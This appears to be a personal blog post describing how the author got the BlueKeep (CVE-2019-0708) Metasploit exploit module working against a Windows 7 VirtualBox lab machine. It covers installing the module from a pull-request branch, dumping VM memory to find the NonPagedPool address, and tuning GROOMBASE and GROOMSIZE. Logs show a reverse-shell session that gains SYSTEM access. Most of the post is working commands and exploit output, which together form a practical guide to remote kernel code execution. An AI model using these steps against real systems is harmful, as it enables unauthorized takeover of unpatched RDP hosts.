Klaus' Log

Mo 09 September 2019

Playing with the BlueKeep MetaSploit module

Posted by Klaus Eisentraut in scripts   

Three days ago on 2019-09-06, Rapid 7 published zerosum0x0's exploit for BlueKeep and a blog article about it. The exploit did not work out-of-the-box for me, which is why I documented how I got it running here. There will be no new research about BlueKeep itself. I exploited a Win7 x64 SP1 Build 7601 installation on Oracle Virtualbox 6.0 running on a Windows 10 host.

tl;dr: I had to change GROOMSIZE from the default value of 250 to 50 (MB) and to set the GROOMBASE to the start address of the NonPagedPool which I got by dumping the VMs memory and then running rekall --file=bluekeep.memdump pools.

Installing the module

So far, it is only a pull request and not yet included into MetaSploit. Therefore, we can't get the module by running msfupdate. Luckily, MetaSploit modules are single Ruby files, so all we need to do is to checkout the branch, see what has changed and copy the files to our local MetaSploit installation. I assume that MetaSploit is installed at /opt/metasploit/.

$ git clone  https://github.com/busterb/metasploit-framework
Klone nach 'metasploit-framework' ...
remote: Enumerating objects: 500726, done.
remote: Total 500726 (delta 0), reused 0 (delta 0), pack-reused 500726
Empfange Objekte: 100% (500726/500726), 407.40 MiB | 1.50 MiB/s, Fertig.
Löse Unterschiede auf: 100% (366271/366271), Fertig.
Aktualisiere Dateien: 100% (10030/10030), Fertig.

$ git checkout bluekeep 
Branch 'bluekeep' folgt nun Remote-Branch 'bluekeep' von 'origin'.
Zu neuem Branch 'bluekeep' gewechselt

$ git diff --stat master
 db/modules_metadata_base.json                                            |  102 ----
 documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md |  128 -----
 documentation/modules/exploit/multi/http/october_upload_bypass_exec.md   |   51 --
 documentation/modules/exploit/windows/rdp/cve_2019-0708_bluekeep_rce.md  |   32 ++
 lib/msf/core/exploit/rdp.rb                                              |  589 +++++++++++++++-----
 modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb                  |   63 ++-
 modules/auxiliary/scanner/rdp/rdp_scanner.rb                             |   20 +-
 modules/exploits/linux/http/librenms_collectd_cmd_inject.rb              |  231 --------
 modules/exploits/multi/http/october_upload_bypass_exec.rb                |  157 ------
 modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb               | 1095 +++++++++++++++++++++++++++++++++++++
 10 files changed, 1625 insertions(+), 843 deletions(-)

Now we copy the files relevant for BlueKeep to /opt/metasploit. The directory modules/exploits/windows/rdp does not yet exist, so we need to create this one, too.

cp lib/msf/core/exploit/rdp.rb /opt/metasploit/lib/msf/core/exploit/rdp.rb
cp modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb /opt/metasploit/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
mkdir /opt/metasploit/modules/exploits/windows/rdp/
cp modules/auxiliary/scanner/rdp/rdp_scanner.rb /opt/metasploit/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cp modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb /opt/metasploit/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

If everything went well, we should be able to load it in msfconsole:

msf5 > use exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > info

       Name: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
     Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-05-14

Provided by:
  Sean Dillon <sean.dillon@risksense.com>
  Ryan Hanson <dunno@findthisout.com>
  OJ Reeves <oj@beyondbinary.io>
  Brent Cook <bcook@rapid7.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic targeting via fingerprinting
  1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
  2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)
  3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)
  4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

Check supported:

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  RDP_CLIENT_IP    yes       The client IPv4 address to report during connect
  RDP_CLIENT_NAME  ethdev           no        The client computer name to report during connect, UNSET = random
  RDP_DOMAIN                        no        The client domain name to report during connect
  RDP_USER                          no        The username to report during connect, UNSET = random
  RHOSTS                            yes       The target address range or CIDR identifier
  RPORT            3389             yes       The target port (TCP)

Payload information:
  Space: 952

  The RDP termdd.sys driver improperly handles binds to internal-only 
  channel MS_T120, allowing a malformed Disconnect Provider Indication 
  message to cause use-after-free. With a controllable data/size 
  remote nonpaged pool spray, an indirect call gadget of the freed 
  channel is used to achieve arbitrary code execution.


Also known as:

Exploiting Bluekeep

First of all, we should read the comments at the start of cve_2019_0708_bluekeep_rce.rb.

#    4. RDP has chunked messages, so we use this to groom.
#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
#           i. RDPSND only works when
#              HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
#           ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE

This implies that the module in its current form works only, if the fDisableCam key is set to zero. If the registry key is different like in Server 2008 with its default settings, we cannot exploit it.

I tried exploiting it now as you would usually do with any MetaSploit module: Set LHOST to your IP, RHOSTS to the target IP and set the target to 2 which indicates Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox); then run exploit. However, this did not work. I did not get a BSOD, too, but instead simply a Connection Reset error:

[*] Started reverse TCP handler on
[*] - Detected RDP on (Windows version: 6.1.7601) (Requires NLA: No)
[+] - The target is vulnerable.
[*] - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1.
[*] - Surfing channels ...
[*] - Lobbing eggs ...
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer

The reason for this is found in the following comment:

#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7
#           i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and
#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
#           start. This can be anywhere from 100 mb to gigabytes of offset
#           before the NPP start.

It seems that none of the four default targets (which only differ in the address they use for GROOMBASE) worked here. Therefore, we need to find the start address of the NonPagedPool. This is easy, if we have a virtual machine because we can simply dump the complete memory of it:

VBoxManage.exe debugvm "win7" dumpvmcore --filename=bluekeep.memdump

Afterwards, I used a docker image of rekall in order to analyze the memory dump and to get the start address of the NonPagedPool:

docker run --rm -it -v /shared:/home/nonroot/files remnux/rekall bash
nonroot@c20c6f11ea:~$ rekall -f files/bluekeep.memdump pools
        Type       Index    Size        Start           End
------------------ ----- ---------- -------------- --------------
NonPagedPool       0       24079344 0xfa8001802000 0xfa805f200000

I copied the address 0xfa8001802000 from rekall's output and overwrote the incorrect hardcoded value GROOMBASE of the target 2 in cve_2019_0708_bluekeep_rce.rb with it (the incorrect one was 0xfffffa8002407000). Please note that rekall removes four 'f'-s in the beginning of the displayed addresses. It still didn't work until I reduced the GROOMSIZE from the default of 250 to 50 MB. There is nothing special about the value 50MB, too, I just tried different values until it worked. Maybe the default of 250MB is too much for a VM with a limited amount of memory (2GB). However, it worked quite reliably afterwards, I'm impressed by zerosum0x0's work!

[*] Started reverse TCP handler on
[*] - Detected RDP on (Windows version: 6.1.7601) (Requires NLA: No)
[+] - The target is vulnerable.
[*] - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa8004a02000, Channel count 1.
[*] - Surfing channels ...
[*] - Lobbing eggs ...
[*] - Forcing the USE of FREE'd object ...
[*] Command shell session 2 opened ( -> at 2019-09-09 19:54:59 +0200)

nt authority\system